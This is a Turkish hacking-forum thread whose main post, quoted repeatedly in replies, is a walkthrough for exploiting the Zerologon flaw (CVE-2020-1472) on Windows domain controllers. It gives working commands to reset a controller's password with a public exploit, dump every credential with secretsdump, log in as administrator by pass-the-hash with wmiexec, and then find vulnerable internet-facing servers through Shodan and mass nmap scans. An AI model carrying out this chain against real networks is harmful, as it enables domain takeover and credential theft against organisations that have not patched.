Kod:
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'enistein.com/[email protected]'
Bu7W7EV.png

Tadaa!! sunucuda yer alan bütün şifreler önümüzde.
Şimdi sunucuya login olmak için


Kod:
wget https://raw.githubusercontent.com/fortra/impacket/master/examples/wmiexec.py
komutu ile wmiexec'i indirelim.
"wmiexec.py" dosyası, Windows Management Instrumentation (WMI) protokolünü kullanarak bir Windows işletim sistemi üzerinde uzaktan kod yürütmek için kullanılan bir araçtır.
Ardından
Kod:
python3 wmiexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:b1d16bcbb50ab0b60d9dcecfb3d67a91
Komutu ile login olalım.
GvwFwI8.png

Gördüğünüz gibi artık sunucuya erişim sağlamış olduk. Buradan sonra administrator yetkisindeyiz ve bütün herşeyi yapabiliriz!


Shodan Aracılığıyla Zerologon Zaafiyetine Ait Sunucuları Bulmak
F3beZqk.png

Zerologon Zaafiyeti DC'yi(Domain Controlleri) etkilediği için, DC portlarını Shodan üzerinden aramamız gerekiyor.
Bunun için 445 portuna ait sunucuları arayalım!

gvowAPY.png

Şimdi önümüze milyonlarca sonuç geldi. Bu sonuçlar arasından, zaafiyete sahip olan sunucuları bulmak zor gibi görünüyor olabilir. Fakat tam bu noktada Nmap yardımımıza yetişiyor!

Kod:
nmap -p 135,137,139,445 --script smb-os-discovery -oA zerologon_nmap ipadresi
Komutuyla port kontrolü yapabiliriz. Ayrıca, fikir vermesi için bir diğer yöntem bütün ip adreslerini bir listeye atıp, ardından
Kod:
nmap -p 135,137,139,445 --script smb-os-discovery -oA zerologon_nmap -iL iplistesi.txt
şeklinde taratmaktır!

Ayrıca bu sonuçlar potansiyel zaafiyet içeren sunucuları bulur. Ekstra kontrol için bir python scripti yazabilirsiniz :)


Kapanış
F3beZqk.png

Ne yalan söyleyeyim, yazarken en çok uğraştığım fakat içeriğinin en faydalı olduğunu düşündüğüm içeriklerden birisi oldu.

Umarım işinize yaramıştır.
Ayrıca konu ilginizi çektiyse önceki konularıma bakabilirsiniz:
Blue Team ve Tehdit Avcılığı (Threat Hunting)

Code Review Nedir? Nasıl Yapılır? Örneklerle Anlatım!
SCADA & ICS Zaafiyetleri ve Bash Örnekleri!
Meltdown ve Spectre: Modern İşlemcilerdeki Güvenlik Zaafiyetleri
Python ile Zararlı Yazılım Analizi!
HackRF ile Bluetooth Low Energy Sniffing #3
HackRF ile Replay Attack #2
HackRF Nedir? | HackRF ile GPS Spoofing #1
Phishing URL Kısaltma Uygulaması Yazalım! | Phishing için URL Tekniği
QRLJacking Nedir? | Whatsapp Saldırı Vektörü Oluşturalım!
Ellerinize, Emeyinize saglik.
 

TheNeferian

Basın&Medya Ekibi
27 Kas 2022
1,461
1,168
є.ค♡
f8l1281.png

İyi günler Türk Hack Team ailesi.
Bugün sizlerle, 2020'de çok ses getiren bir zaafiyet hakkında konuşacağız.
Umarım bu anlatım sizlere farklı bir bakış açısı katar.

PpUz4Fr.gif

IvwCnY9.png

Zerologon Nedir?
F3beZqk.png


Zerologon, 2020 yılında ortaya çıkan ve Microsoft'un Windows Server işletim sistemlerinde bulunan bir zaafiyettir. CVE-2020-1472 olarak tanımlanan bu güvenlik açığı, saldırganların Windows Server'daki Netlogon Uzaktan Protokolü üzerinden yerel yönetici hesaplarını ele geçirmelerine ve istedikleri şekilde değişiklik yapabilmelerine olanak tanır.
Yani, uzun lafın kısası etkilenen sistemlerde tam kontrolü ele geçirmenize olanak sağlar.

LQeHxgS.png

Zerologon, Netlogon adı verilen bir protokolde kullanılan kriptografi algoritmasından dolayı ortaya çıkıyor.

Şahsen böyle bir protokol geliştirip, böyle bir zaafiyet bırakmak kesin yeni mezun bir bilgisayar bilimcisinin işidir diye düşünüyorum.
Netlogon oturum acma sürecinde güvenliği sağlayan AES-CFB8 adını verdikleri bir şifreleme algoritması mevcut. Fakat, bu şifreleme algoritması sebebiyle sıfırlardan oluşan bir anahtar (IV) kullanılarak sisteme erişebiliyorsunuz. AES şifreleme türleriyle çalışanlar bu IV değerini bilirler. Genelde online decoderler de secret key olarak da geçer.

Bu şekilde, gizli anahtara 000000000 verdiğinizde, sistem bunu kabul ediyor ve manipüle ederek giriş yapabiliyorsunuz.
zlRmeju.png

(Görsel orjinal whitepaper'den alınmıştır.)

Bu zaafiyet o kadar büyük ki, Active Directory hizmetine erişebiliyor, hesap şifrelerini değiştirebiliyor ve hatta DC (Domain Controller) hesaplarına erişebiliyorsunuz.

Ayrıca bu linke giderek zaafiyetin ilk yayınlandığı whitepaper'i okuyabilirsiniz.

Test Ortamı Oluşturma
F3beZqk.png

Zerologon zaafiyeti Windows Server 2019 olan çoğu sunucuyu etkiledi. Fakat, internette doğrudan bu zaafiyete sahip hazır bir imaj bulunmuyor.

Bundan dolayı test ortamını kendimiz yaratacağız. Ayrıca güncelleme yapmayan sunucularda bu zaafiyet hala aktif olarak mevcut. İlerleyen süreçte bu konuya da değineceğim.

Adım 1:
Windows Server'in patchlenmeden önceki versiyonunu indirelim. Doğrudan
bu linke giderek indirebilirsiniz.
Sırf patchlenmemiş windows versiyonunu bulabilmek için saatlerce uğraştım arkadaşlar. Bundan dolayı konuya cevap yazmayı unutmayın lütfen :)
Adım 2:

Sanal makinemizi oluşturalım. Ben Virtualbox kullanıyorum. Siz Vmware veya Virtualbox arasında bir seçim yapabilirsiniz. 4gb ram ve 50 gb depolama alanı belirleyelim. Kurulum için isomuzu seçelim. Bu kısımlar klasik olduğu için hızlı hızlı geçiyorum.
MDIY6tE.png

n9W1oBb.png

Virtualbox yapılandırmamızı ayarladıktan sonra, Windows kurulumumuzu yapalım. Klasik bir şekilde kurabilirsiniz. Standart Evulation (Desktop Experience) versiyonunu kuruyoruz bu arada.
WjVWy43.png

Kurulum tamamlandıktan sonra, server manager'i çalıştırıp, sağ yukarda bulunan manage butonuna tıklayalım ve add roles and features'e tıklayalım.
xfCjW3k.png

Ardından, next next next ... diyip, rol olarak Active Directory Domain Services ve DNS Server'i işaretleyelim.
6jU41ST.png

Sonrasında yine next next next .... yapıp kurulumu bitiriyoruz.

Örnek olması için sunucumuza bir adet domain ekliyoruz. Görsel içerisinde detayları yazdım.
Aşağıdaki görselden sonraki adımlar next next next....
nYqrnh0.png

Ardından güvenlik duvarına girip, izin verilen uygulamalardan Netlogon'a (Netlogon Service)izin veriyoruz.
hh0oThs.png

Ayrıca aynı ağda test edecekseniz, Virtualbox üzerinden ağ ayarlarını bridge'ye çekmeyi unutmayın.

Bu adıma kadar geldiyseniz artık zaafiyeti exploit etmek için hazırız!


Hedef Sistemde Zaafiyeti Kullanma
F3beZqk.png

Test ortamımız hazır olduğu için, öncelikle ağdaki bilgisayarları tarayarak Windows Server 2019 bilgisayarı bulmakla başlayacağız.
Nmap ile
sudo nmap -sn ağadresi/24 şeklinde ağı tarayalım..
Kod:
sudo nmap -sn 192.168.1.101/24
odHWgrk.png

Görmüş olduğunuz gibi, ağda 192.168.1.125 ip adresine sahip bilgisayar windows 2019 server'imiz.

Ardından,
-Pn -Sc -sV parametreleri ile daha detaylı tarama yapalım.
Kod:
nmap -Pn -sC -sV 192.168.1.125
GL45zWc.png

Yukarıdaki görselde görüldüğü gibi, hostumuza ve birçok bilgiye eriştik. Buradaki host adımızı saklayalım. Sonrasında exploit etmek için kullanacağız.
Şimdi exploitimizi indirelim. Bunun için aşağıdaki komutları giriyoruz.
Kod:
git clone https://github.com/risksense/zerologon
cd zerologon
pip install -r requirements.txt
HklCBtx.png


Şimdi
"python3 set_empty_pw.py kaydettiğimizhost serverip" şeklinde kodumuzu çalıştıralım. Bu kod handshake yaparak, serverin şifresini sıfırlamaya çalışır.

Kod:
python3 set_empty_pw.py WIN-FGM60KSKM87 192.168.1.125
pm8reVz.png

Tadaaaa! hedefin şifresi başarılı bir şekilde sıfırlandı!


Şimdi
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'
komutu ile sunucudaki bütün şifreleri toplayalım.
Kod:
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'enistein.com/[email protected]'
Bu7W7EV.png

Tadaa!! sunucuda yer alan bütün şifreler önümüzde.
Şimdi sunucuya login olmak için


Kod:
wget https://raw.githubusercontent.com/fortra/impacket/master/examples/wmiexec.py
komutu ile wmiexec'i indirelim.
"wmiexec.py" dosyası, Windows Management Instrumentation (WMI) protokolünü kullanarak bir Windows işletim sistemi üzerinde uzaktan kod yürütmek için kullanılan bir araçtır.
Ardından
Kod:
python3 wmiexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:b1d16bcbb50ab0b60d9dcecfb3d67a91
Komutu ile login olalım.
GvwFwI8.png

Gördüğünüz gibi artık sunucuya erişim sağlamış olduk. Buradan sonra administrator yetkisindeyiz ve bütün herşeyi yapabiliriz!


Shodan Aracılığıyla Zerologon Zaafiyetine Ait Sunucuları Bulmak
F3beZqk.png

Zerologon Zaafiyeti DC'yi(Domain Controlleri) etkilediği için, DC portlarını Shodan üzerinden aramamız gerekiyor.
Bunun için 445 portuna ait sunucuları arayalım!

gvowAPY.png

Şimdi önümüze milyonlarca sonuç geldi. Bu sonuçlar arasından, zaafiyete sahip olan sunucuları bulmak zor gibi görünüyor olabilir. Fakat tam bu noktada Nmap yardımımıza yetişiyor!

Kod:
nmap -p 135,137,139,445 --script smb-os-discovery -oA zerologon_nmap ipadresi
Komutuyla port kontrolü yapabiliriz. Ayrıca, fikir vermesi için bir diğer yöntem bütün ip adreslerini bir listeye atıp, ardından
Kod:
nmap -p 135,137,139,445 --script smb-os-discovery -oA zerologon_nmap -iL iplistesi.txt
şeklinde taratmaktır!

Ayrıca bu sonuçlar potansiyel zaafiyet içeren sunucuları bulur. Ekstra kontrol için bir python scripti yazabilirsiniz :)


Kapanış
F3beZqk.png

Ne yalan söyleyeyim, yazarken en çok uğraştığım fakat içeriğinin en faydalı olduğunu düşündüğüm içeriklerden birisi oldu.

Umarım işinize yaramıştır.
Ayrıca konu ilginizi çektiyse önceki konularıma bakabilirsiniz:
Blue Team ve Tehdit Avcılığı (Threat Hunting)

Code Review Nedir? Nasıl Yapılır? Örneklerle Anlatım!
SCADA & ICS Zaafiyetleri ve Bash Örnekleri!
Meltdown ve Spectre: Modern İşlemcilerdeki Güvenlik Zaafiyetleri
Python ile Zararlı Yazılım Analizi!
HackRF ile Bluetooth Low Energy Sniffing #3
HackRF ile Replay Attack #2
HackRF Nedir? | HackRF ile GPS Spoofing #1
Phishing URL Kısaltma Uygulaması Yazalım! | Phishing için URL Tekniği
QRLJacking Nedir? | Whatsapp Saldırı Vektörü Oluşturalım!
Eline sağlık
 

ACE Veen

Uzman üye
4 Şub 2023
1,134
573
Belirsiz
f8l1281.png

İyi günler Türk Hack Team ailesi.
Bugün sizlerle, 2020'de çok ses getiren bir zaafiyet hakkında konuşacağız.
Umarım bu anlatım sizlere farklı bir bakış açısı katar.

PpUz4Fr.gif

IvwCnY9.png

Zerologon Nedir?
F3beZqk.png


Zerologon, 2020 yılında ortaya çıkan ve Microsoft'un Windows Server işletim sistemlerinde bulunan bir zaafiyettir. CVE-2020-1472 olarak tanımlanan bu güvenlik açığı, saldırganların Windows Server'daki Netlogon Uzaktan Protokolü üzerinden yerel yönetici hesaplarını ele geçirmelerine ve istedikleri şekilde değişiklik yapabilmelerine olanak tanır.
Yani, uzun lafın kısası etkilenen sistemlerde tam kontrolü ele geçirmenize olanak sağlar.

LQeHxgS.png

Zerologon, Netlogon adı verilen bir protokolde kullanılan kriptografi algoritmasından dolayı ortaya çıkıyor.

Şahsen böyle bir protokol geliştirip, böyle bir zaafiyet bırakmak kesin yeni mezun bir bilgisayar bilimcisinin işidir diye düşünüyorum.
Netlogon oturum acma sürecinde güvenliği sağlayan AES-CFB8 adını verdikleri bir şifreleme algoritması mevcut. Fakat, bu şifreleme algoritması sebebiyle sıfırlardan oluşan bir anahtar (IV) kullanılarak sisteme erişebiliyorsunuz. AES şifreleme türleriyle çalışanlar bu IV değerini bilirler. Genelde online decoderler de secret key olarak da geçer.

Bu şekilde, gizli anahtara 000000000 verdiğinizde, sistem bunu kabul ediyor ve manipüle ederek giriş yapabiliyorsunuz.
zlRmeju.png

(Görsel orjinal whitepaper'den alınmıştır.)

Bu zaafiyet o kadar büyük ki, Active Directory hizmetine erişebiliyor, hesap şifrelerini değiştirebiliyor ve hatta DC (Domain Controller) hesaplarına erişebiliyorsunuz.

Ayrıca bu linke giderek zaafiyetin ilk yayınlandığı whitepaper'i okuyabilirsiniz.

Test Ortamı Oluşturma
F3beZqk.png

Zerologon zaafiyeti Windows Server 2019 olan çoğu sunucuyu etkiledi. Fakat, internette doğrudan bu zaafiyete sahip hazır bir imaj bulunmuyor.

Bundan dolayı test ortamını kendimiz yaratacağız. Ayrıca güncelleme yapmayan sunucularda bu zaafiyet hala aktif olarak mevcut. İlerleyen süreçte bu konuya da değineceğim.

Adım 1:
Windows Server'in patchlenmeden önceki versiyonunu indirelim. Doğrudan
bu linke giderek indirebilirsiniz.
Sırf patchlenmemiş windows versiyonunu bulabilmek için saatlerce uğraştım arkadaşlar. Bundan dolayı konuya cevap yazmayı unutmayın lütfen :)
Adım 2:

Sanal makinemizi oluşturalım. Ben Virtualbox kullanıyorum. Siz Vmware veya Virtualbox arasında bir seçim yapabilirsiniz. 4gb ram ve 50 gb depolama alanı belirleyelim. Kurulum için isomuzu seçelim. Bu kısımlar klasik olduğu için hızlı hızlı geçiyorum.
MDIY6tE.png

n9W1oBb.png

Virtualbox yapılandırmamızı ayarladıktan sonra, Windows kurulumumuzu yapalım. Klasik bir şekilde kurabilirsiniz. Standart Evulation (Desktop Experience) versiyonunu kuruyoruz bu arada.
WjVWy43.png

Kurulum tamamlandıktan sonra, server manager'i çalıştırıp, sağ yukarda bulunan manage butonuna tıklayalım ve add roles and features'e tıklayalım.
xfCjW3k.png

Ardından, next next next ... diyip, rol olarak Active Directory Domain Services ve DNS Server'i işaretleyelim.
6jU41ST.png

Sonrasında yine next next next .... yapıp kurulumu bitiriyoruz.

Örnek olması için sunucumuza bir adet domain ekliyoruz. Görsel içerisinde detayları yazdım.
Aşağıdaki görselden sonraki adımlar next next next....
nYqrnh0.png

Ardından güvenlik duvarına girip, izin verilen uygulamalardan Netlogon'a (Netlogon Service)izin veriyoruz.
hh0oThs.png

Ayrıca aynı ağda test edecekseniz, Virtualbox üzerinden ağ ayarlarını bridge'ye çekmeyi unutmayın.

Bu adıma kadar geldiyseniz artık zaafiyeti exploit etmek için hazırız!


Hedef Sistemde Zaafiyeti Kullanma
F3beZqk.png

Test ortamımız hazır olduğu için, öncelikle ağdaki bilgisayarları tarayarak Windows Server 2019 bilgisayarı bulmakla başlayacağız.
Nmap ile
sudo nmap -sn ağadresi/24 şeklinde ağı tarayalım..
Kod:
sudo nmap -sn 192.168.1.101/24
odHWgrk.png

Görmüş olduğunuz gibi, ağda 192.168.1.125 ip adresine sahip bilgisayar windows 2019 server'imiz.

Ardından,
-Pn -Sc -sV parametreleri ile daha detaylı tarama yapalım.
Kod:
nmap -Pn -sC -sV 192.168.1.125
GL45zWc.png

Yukarıdaki görselde görüldüğü gibi, hostumuza ve birçok bilgiye eriştik. Buradaki host adımızı saklayalım. Sonrasında exploit etmek için kullanacağız.
Şimdi exploitimizi indirelim. Bunun için aşağıdaki komutları giriyoruz.
Kod:
git clone https://github.com/risksense/zerologon
cd zerologon
pip install -r requirements.txt
HklCBtx.png


Şimdi
"python3 set_empty_pw.py kaydettiğimizhost serverip" şeklinde kodumuzu çalıştıralım. Bu kod handshake yaparak, serverin şifresini sıfırlamaya çalışır.

Kod:
python3 set_empty_pw.py WIN-FGM60KSKM87 192.168.1.125
pm8reVz.png

Tadaaaa! hedefin şifresi başarılı bir şekilde sıfırlandı!


Şimdi
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'
komutu ile sunucudaki bütün şifreleri toplayalım.
Kod:
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'enistein.com/[email protected]'
Bu7W7EV.png

Tadaa!! sunucuda yer alan bütün şifreler önümüzde.
Şimdi sunucuya login olmak için


Kod:
wget https://raw.githubusercontent.com/fortra/impacket/master/examples/wmiexec.py
komutu ile wmiexec'i indirelim.
"wmiexec.py" dosyası, Windows Management Instrumentation (WMI) protokolünü kullanarak bir Windows işletim sistemi üzerinde uzaktan kod yürütmek için kullanılan bir araçtır.
Ardından
Kod:
python3 wmiexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:b1d16bcbb50ab0b60d9dcecfb3d67a91
Komutu ile login olalım.
GvwFwI8.png

Gördüğünüz gibi artık sunucuya erişim sağlamış olduk. Buradan sonra administrator yetkisindeyiz ve bütün herşeyi yapabiliriz!


Shodan Aracılığıyla Zerologon Zaafiyetine Ait Sunucuları Bulmak
F3beZqk.png

Zerologon Zaafiyeti DC'yi(Domain Controlleri) etkilediği için, DC portlarını Shodan üzerinden aramamız gerekiyor.
Bunun için 445 portuna ait sunucuları arayalım!

gvowAPY.png

Şimdi önümüze milyonlarca sonuç geldi. Bu sonuçlar arasından, zaafiyete sahip olan sunucuları bulmak zor gibi görünüyor olabilir. Fakat tam bu noktada Nmap yardımımıza yetişiyor!

Kod:
nmap -p 135,137,139,445 --script smb-os-discovery -oA zerologon_nmap ipadresi
Komutuyla port kontrolü yapabiliriz. Ayrıca, fikir vermesi için bir diğer yöntem bütün ip adreslerini bir listeye atıp, ardından
Kod:
nmap -p 135,137,139,445 --script smb-os-discovery -oA zerologon_nmap -iL iplistesi.txt
şeklinde taratmaktır!

Ayrıca bu sonuçlar potansiyel zaafiyet içeren sunucuları bulur. Ekstra kontrol için bir python scripti yazabilirsiniz :)


Kapanış
F3beZqk.png

Ne yalan söyleyeyim, yazarken en çok uğraştığım fakat içeriğinin en faydalı olduğunu düşündüğüm içeriklerden birisi oldu.

Umarım işinize yaramıştır.
Ayrıca konu ilginizi çektiyse önceki konularıma bakabilirsiniz:
Blue Team ve Tehdit Avcılığı (Threat Hunting)

Code Review Nedir? Nasıl Yapılır? Örneklerle Anlatım!
SCADA & ICS Zaafiyetleri ve Bash Örnekleri!
Meltdown ve Spectre: Modern İşlemcilerdeki Güvenlik Zaafiyetleri
Python ile Zararlı Yazılım Analizi!
HackRF ile Bluetooth Low Energy Sniffing #3
HackRF ile Replay Attack #2
HackRF Nedir? | HackRF ile GPS Spoofing #1
Phishing URL Kısaltma Uygulaması Yazalım! | Phishing için URL Tekniği
QRLJacking Nedir? | Whatsapp Saldırı Vektörü Oluşturalım!
elinize sağlık hocam çok güzel konu olmuş
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.